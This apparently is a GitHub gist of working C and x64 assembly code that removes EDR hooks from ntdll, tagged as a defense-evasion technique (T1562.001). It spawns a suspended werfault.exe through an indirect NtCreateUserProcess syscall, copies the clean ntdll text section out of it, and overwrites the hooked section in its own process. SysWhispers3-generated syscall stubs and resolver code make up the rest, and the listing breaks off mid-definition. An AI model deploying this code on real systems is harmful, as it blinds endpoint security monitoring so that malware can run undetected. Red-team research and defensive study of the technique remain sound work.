Skip to content

Instantly share code, notes, and snippets.

@wizardy0ga
Last active June 23, 2024 21:16
Show Gist options
  • Save wizardy0ga/eab3db5d1df621a602409fdb25f78ca3 to your computer and use it in GitHub Desktop.
Save wizardy0ga/eab3db5d1df621a602409fdb25f78ca3 to your computer and use it in GitHub Desktop.
Unhooking NTDLL using an unhooked text section from a suspended process, syswhispers3 style (indirect syscalls)
/*
Author:
wizardy0ga
Date:
June 2024
Arch:
x64
Tested on:
Windows 10 19045.4529
Compiler:
MSVC
Compile Instructions:
ML64 /c syscalls-asm.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64
cl.exe syscalls.c main.c
link.exe /OUT:UnhookNtDllWithSuspendedProcessSyscalls.exe -nologo libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib /MACHINE:X64 -subsystem:console -nodefaultlib syscalls-asm.x64.obj syscalls.obj main.obj
Mitre:
Execution:
T1106 - Native API
Defense Evasion:
T1562.001 - Impair Defenses: Disable or Modify Tools
Description:
Unhook ntdll using a copy from a process created in a suspended state using indirect syscalls generated from syswhispers 3.
Note:
NtCreateUserProcess was a challenging syscall to implement. Capt-meelo has provided a detailed post on the topic. Thanks to
his research, the time it took me to implement the syscall myself was reduced. His article, github & repository supporting
the article have been linked below. Thanks Capt-meelo!
Reference:
https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html
https://github.com/capt-meelo
https://github.com/capt-meelo/NtCreateUserProcess
*/
#include "main.h"
int main() {
UNICODE_STRING TargetProcess = { 0 };
PS_ATTRIBUTE_LIST AttributeList = { 0 };
PS_CREATE_INFO CreateInfo = { 0 };
HANDLE hProcess = NULL,
hThread = NULL;
SIZE_T SizeOfTextSection = 0,
SizeOfAttrList = sizeof(PPS_ATTRIBUTE_LIST),
BytesRead = 0,
BytesWritten = 0;
PVOID pHookedDllBase = NULL,
pHookedTextSection = NULL,
pUnhookedTextSection = NULL;
WCHAR TargetProcessName[] = L"\\??\\C:\\Windows\\System32\\werfault.exe";
NTSTATUS Status = 0;
ULONG Hash = HASH_SEED,
OldProtection = 0;
INT Char = 0;
WCHAR NtDll[MAX_PATH] = { 0 };
PPEB pPeb = (PPEB)__readgsqword(0x60);
PLDR_DATA_TABLE_ENTRY pEntry = NULL;
PIMAGE_DOS_HEADER pHookedDos = NULL;
PIMAGE_NT_HEADERS pHookedNt = NULL;
PVOID pProcessParameters = NULL;
/* Get base address of hooked ntdll in this process. Hash algo is djb2. */
for (
pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink;
pEntry->DllBase != NULL;
pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink
) {
Hash = HASH_SEED; Char = 0;
while (Char = towlower(*(pEntry->BaseDllName.Buffer++))) {
Hash = ((Hash << 5) + Hash) + Char;
}
if (Hash == 0x4E015997) {
pHookedDllBase = pEntry->DllBase;
print("Found %S base address at 0x%p", pEntry->FullDllName.Buffer, pHookedDllBase);
break;
}
}
if (pHookedDllBase == NULL) {
fatal_error("Could not locate ntdll base address in memory.");
}
/* Get functions from ntdll */
fpRtlInitUnicodeString RtlInitUnicodeString = (fpRtlInitUnicodeString)GetProcAddress((HMODULE)pHookedDllBase, "RtlInitUnicodeString");
check_null(RtlInitUnicodeString, "RtlInitUnicodeString");
fpRtlCreateProcessParametersEx RtlCreateProcessParametersEx = (fpRtlCreateProcessParametersEx)GetProcAddress((HMODULE)pHookedDllBase, "RtlCreateProcessParametersEx");
check_null(RtlCreateProcessParametersEx, "RtlCreateProcessParametersEx");
/* Get the text section address, size & size of image from hooked ntdll image loaded in this process */
pHookedDos = (PIMAGE_DOS_HEADER)pHookedDllBase;
check_dos(pHookedDos);
pHookedNt = (PIMAGE_NT_HEADERS)((PBYTE)pHookedDos + pHookedDos->e_lfanew);
check_nt(pHookedNt);
SizeOfTextSection = pHookedNt->OptionalHeader.SizeOfCode;
pHookedTextSection = (PVOID)((ULONG_PTR)pHookedDllBase + pHookedNt->OptionalHeader.BaseOfCode);
print("Found hooked text section at 0x%p. Size: %lld bytes", pHookedTextSection, SizeOfTextSection);
/* Setup PS_CREATE_INFO structure for NtCreateUserProcess */
CreateInfo.Size = sizeof(PS_CREATE_INFO);
CreateInfo.State = PsCreateInitialState;
/* Setup PS_ATTRIBUTE_LIST structure for NtCreateUserProcess */
RtlInitUnicodeString(&TargetProcess, TargetProcessName);
AttributeList.TotalLength = sizeof(PS_ATTRIBUTE_LIST);
AttributeList.Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList.Attributes[0].Size = TargetProcess.Length;
AttributeList.Attributes[0].u1.Value = (ULONG_PTR)TargetProcess.Buffer;
/* Setup RTL_USER_PROCESS_PARAMETERS structure for NtCreateUserProcess */
Status = RtlCreateProcessParametersEx(&pProcessParameters, &TargetProcess, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
check_syscall("RtlCreateProcessParametersEx", 0x0, Status);
/* Create suspended process */
Status = Sw3NtCreateUserProcess(
&hProcess
, &hThread
, MAXIMUM_ALLOWED
, MAXIMUM_ALLOWED
, NULL
, NULL
, 0
, CREATE_SUSPENDED_THREAD
, pProcessParameters
, &CreateInfo
, &AttributeList
);
check_syscall("NtCreateUserProcess", 0x0, Status);
if (CreateInfo.State != PsCreateSuccess) {
fatal_error("Process creation state does not indicate succes. Got value: %i", CreateInfo.State);
}
print("Created suspended %S process at pid %d", TargetProcessName, GetProcessId(hProcess));
/*
Allocate buffer for unhooked text section & read unhooked text section from suspended process into buffer.
Since ntdll is loaded at the same address across processes, the pointer to our hooked text section will be
will point to the same unhooked text section in the suspended process. In other implementations, i would walk the
dos header of the unhooked dll but i wanted to try this method for code reduction & it appears to work.
*/
Status = Sw3NtAllocateVirtualMemory((HANDLE)-1, &pUnhookedTextSection, 0, &SizeOfTextSection, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
check_syscall("NtAllocateVirtualMemory", 0x0, Status);
print("Allocated %lld byte buffer for unhooked text section at 0x%p", SizeOfTextSection, pUnhookedTextSection);
Status = Sw3NtReadVirtualMemory(hProcess, pHookedTextSection, pUnhookedTextSection, SizeOfTextSection, &BytesRead);
check_syscall("NtReadVirtualMemory", 0x0, Status);
print("Read %lld bytes from unhooked text section in %S to buffer at 0x%p", SizeOfTextSection, TargetProcessName, pUnhookedTextSection)
/* Read unhooked text section buffer into hooked text section of ntdll module. */
Status = Sw3NtProtectVirtualMemory((HANDLE)-1, &pHookedTextSection, &SizeOfTextSection, PAGE_EXECUTE_WRITECOPY, &OldProtection);
check_syscall("NtProtectVirtualMemory [WCX]", 0x0, Status);
Status = Sw3NtWriteVirtualMemory((HANDLE)-1, pHookedTextSection, pUnhookedTextSection, SizeOfTextSection, &BytesWritten);
check_syscall("NtWriteVirtualMemory", 0x0, Status);
print("Wrote unhooked text section (0x%p) into hooked text section (0x%p). Size: %lld", pUnhookedTextSection, pHookedTextSection, SizeOfTextSection);
Status = Sw3NtProtectVirtualMemory((HANDLE)-1, &pHookedTextSection, &SizeOfTextSection, OldProtection, &OldProtection);
check_syscall("NtProtectVirtualMemory [return]", 0x0, Status);
/* Cleanup stuff */
printf("[+] Succesfully removed hooks! Press enter to cleanup."); getchar();
Status = Sw3NtTerminateProcess(hProcess, 0);
check_syscall("NtProtectVirtualMemory", 0x0, Status);
print("Terminated %S", TargetProcessName);
SizeOfTextSection = 0;
Status = Sw3NtFreeVirtualMemory((HANDLE)-1, &pUnhookedTextSection, &SizeOfTextSection, MEM_RELEASE);
check_syscall("NtFreeVirtualMemory", 0x0, Status);
print("Released %lld bytes from process memory", SizeOfTextSection);
return 0;
}
/*
Author:
wizardy0ga
Date:
June 2024
Reference:
https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html
https://github.com/capt-meelo/NtCreateUserProcess
https://ntdoc.m417z.com/
*/
#pragma once
#include "syscalls.h"
#include "stdio.h"
#define RTL_USER_PROCESS_PARAMETERS_NORMALIZED 0x01
#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff
#define PS_ATTRIBUTE_THREAD 0x00010000
#define PS_ATTRIBUTE_INPUT 0x00020000
#define PS_ATTRIBUTE_ADDITIVE 0x00040000
/* This isn't from any official header files. It's a macro i created for readability. */
#define CREATE_SUSPENDED_THREAD 0x01
#define PsAttributeValue(Number, Thread, Input, Additive) \
(((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \
((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \
((Input) ? PS_ATTRIBUTE_INPUT : 0) | \
((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0))
#define PS_ATTRIBUTE_IMAGE_NAME PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE)
/* Error handling */
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__);
#define fatal_error(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__); return -1
#define nt_fatal_error(api, status) printf("[!] %s failed with error: 0x%0.8X\n", api, status); return -1
/* Syscall & pe parsing */
#define check_syscall(api, code, status) if (status != code) { nt_fatal_error(api, status); }
#define check_dos(dos_header) if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { fatal_error("DOS header signature mismatch."); }
#define check_nt(nt_header) if (nt_header->Signature != IMAGE_NT_SIGNATURE) { fatal_error("NT header signature mismatch."); }
/* misc */
#define check_null(object, name) if (object == NULL) { printf("[!] " name " is a null value. Quitting.\n"); return -1; }
#define HASH_SEED 8559
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef enum _PS_ATTRIBUTE_NUM
{
PsAttributeParentProcess, // in HANDLE
PsAttributeDebugObject, // in HANDLE
PsAttributeToken, // in HANDLE
PsAttributeClientId, // out PCLIENT_ID
PsAttributeTebAddress, // out PTEB *
PsAttributeImageName, // in PWSTR
PsAttributeImageInfo, // out PSECTION_IMAGE_INFORMATION
PsAttributeMemoryReserve, // in PPS_MEMORY_RESERVE
PsAttributePriorityClass, // in UCHAR
PsAttributeErrorMode, // in ULONG
PsAttributeStdHandleInfo, // 10, in PPS_STD_HANDLE_INFO
PsAttributeHandleList, // in HANDLE[]
PsAttributeGroupAffinity, // in PGROUP_AFFINITY
PsAttributePreferredNode, // in PUSHORT
PsAttributeIdealProcessor, // in PPROCESSOR_NUMBER
PsAttributeUmsThread, // ? in PUMS_CREATE_THREAD_ATTRIBUTES
PsAttributeMitigationOptions, // in PPS_MITIGATION_OPTIONS_MAP (PROCESS_CREATION_MITIGATION_POLICY_*) // since WIN8
PsAttributeProtectionLevel, // in PS_PROTECTION // since WINBLUE
PsAttributeSecureProcess, // in PPS_TRUSTLET_CREATE_ATTRIBUTES, since THRESHOLD
PsAttributeJobList, // in HANDLE[]
PsAttributeChildProcessPolicy, // 20, in PULONG (PROCESS_CREATION_CHILD_PROCESS_*) // since THRESHOLD2
PsAttributeAllApplicationPackagesPolicy, // in PULONG (PROCESS_CREATION_ALL_APPLICATION_PACKAGES_*) // since REDSTONE
PsAttributeWin32kFilter, // in PWIN32K_SYSCALL_FILTER
PsAttributeSafeOpenPromptOriginClaim, // in SE_SAFE_OPEN_PROMPT_RESULTS
PsAttributeBnoIsolation, // in PPS_BNO_ISOLATION_PARAMETERS // since REDSTONE2
PsAttributeDesktopAppPolicy, // in PULONG (PROCESS_CREATION_DESKTOP_APP_*)
PsAttributeChpe, // in BOOLEAN // since REDSTONE3
PsAttributeMitigationAuditOptions, // in PPS_MITIGATION_AUDIT_OPTIONS_MAP (PROCESS_CREATION_MITIGATION_AUDIT_POLICY_*) // since 21H1
PsAttributeMachineType, // in USHORT // since 21H2
PsAttributeComponentFilter,
PsAttributeEnableOptionalXStateFeatures, // since WIN11
PsAttributeSupportedMachines, // since 24H2
PsAttributeSveVectorLength,
PsAttributeMax
} PS_ATTRIBUTE_NUM;
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)(
_In_ PVOID DllHandle,
_In_ ULONG Reason,
_In_opt_ PVOID Context
);
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PLDR_INIT_ROUTINE EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB
{
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
} PEB, * PPEB;
typedef void (NTAPI* fpRtlInitUnicodeString) (
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
typedef NTSTATUS(NTAPI* fpRtlCreateProcessParametersEx) (
PVOID* pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
COMMENT @
This x64 masm assembly was generated with syswhispers 3.
Reference:
https://github.com/klezVirus/SysWhispers3
@
.code
EXTERN SW3_GetSyscallNumber: PROC
EXTERN SW3_GetSyscallAddress: PROC
Sw3NtCreateUserProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 06C3266AFh ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 06C3266AFh ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtCreateUserProcess ENDP
Sw3NtReadVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 009803B2Bh ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 009803B2Bh ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtReadVirtualMemory ENDP
Sw3NtWriteVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00D9D371Fh ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 00D9D371Fh ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtWriteVirtualMemory ENDP
Sw3NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F994C93Dh ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 0F994C93Dh ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtAllocateVirtualMemory ENDP
Sw3NtProtectVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 05FD64F5Fh ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 05FD64F5Fh ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtProtectVirtualMemory ENDP
Sw3NtTerminateProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07FDE588Eh ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 07FDE588Eh ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtTerminateProcess ENDP
Sw3NtFreeVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 003B7013Dh ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 003B7013Dh ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtFreeVirtualMemory ENDP
end
/*
Source file was generated with syswhispers3.
Reference:
https://github.com/klezVirus/SysWhispers3
https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html
*/
#include "syscalls.h"
#include <stdio.h>
//#define DEBUG
#define JUMPER
#ifdef _M_IX86
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
return (PVOID)__readfsdword(0xC0);
}
__declspec(naked) BOOL local_is_wow64(void)
{
__asm {
mov eax, fs:[0xc0]
test eax, eax
jne wow64
mov eax, 0
ret
wow64:
mov eax, 1
ret
}
}
#endif
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW3_SYSCALL_LIST SW3_SyscallList;
// SEARCH_AND_REPLACE
#ifdef SEARCH_AND_REPLACE
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
#endif
DWORD SW3_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW3_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
Hash ^= PartialName + SW3_ROR8(Hash);
}
return Hash;
}
#ifndef JUMPER
PVOID SC_Address(PVOID NtApiAddress)
{
return NULL;
}
#else
PVOID SC_Address(PVOID NtApiAddress)
{
DWORD searchLimit = 512;
PVOID SyscallAddress;
#ifdef _WIN64
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
ULONG distance_to_syscall = 0x12;
#else
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
ULONG distance_to_syscall = 0x0f;
#endif
#ifdef _M_IX86
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
if (local_is_wow64())
{
#ifdef DEBUG
printf("[+] Running 32-bit app on x64 (WOW64)\n");
#endif
return NULL;
}
#endif
// we don't really care if there is a 'jmp' between
// NtApiAddress and the 'syscall; ret' instructions
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
// we can use the original code for this system call :)
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// the 'syscall; ret' intructions have not been found,
// we will try to use one near it, similarly to HalosGate
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
{
// let's try with an Nt* API below our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall + num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// let's try with an Nt* API above our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall - num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
}
#ifdef DEBUG
printf("Syscall Opcodes not found!\n");
#endif
return NULL;
}
#endif
BOOL SW3_PopulateSyscallList()
{
// Return early if the list is already populated.
if (SW3_SyscallList.Count) return TRUE;
#ifdef _WIN64
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
#else
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
#endif
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
}
if (!ExportDirectory) return FALSE;
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW3_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
do
{
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 0x775a)
{
Entries[i].Hash = SW3_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
i++;
if (i == SW3_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
SW3_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW3_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
}
}
}
return TRUE;
}
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return -1;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return SW3_SyscallList.Entries[i].SyscallAddress;
}
}
return NULL;
}
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
// Spoofing the syscall return address
index = ((DWORD) rand()) % SW3_SyscallList.Count;
}
return SW3_SyscallList.Entries[index].SyscallAddress;
}
/*
Header file was generated with syswhispers3.
Reference:
https://github.com/klezVirus/SysWhispers3
https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html
*/
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW3_HEADER_H_
#define SW3_HEADER_H_
#include <windows.h>
#ifndef _NTDEF_
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef NTSTATUS* PNTSTATUS;
#endif
#define SW3_SEED 0x2430F019
#define SW3_ROL8(v) (v << 8 | v >> 24)
#define SW3_ROR8(v) (v >> 8 | v << 24)
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
#define SW3_MAX_ENTRIES 600
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW3_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
typedef struct _SW3_SYSCALL_LIST
{
DWORD Count;
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
typedef struct _SW3_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
typedef struct _SW3_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW3_PEB_LDR_DATA Ldr;
} SW3_PEB, *PSW3_PEB;
DWORD SW3_HashSyscall(PCSTR FunctionName);
BOOL SW3_PopulateSyscallList();
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG_PTR Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
typedef enum _PS_CREATE_STATE
{
PsCreateInitialState,
PsCreateFailOnFileOpen,
PsCreateFailOnSectionCreate,
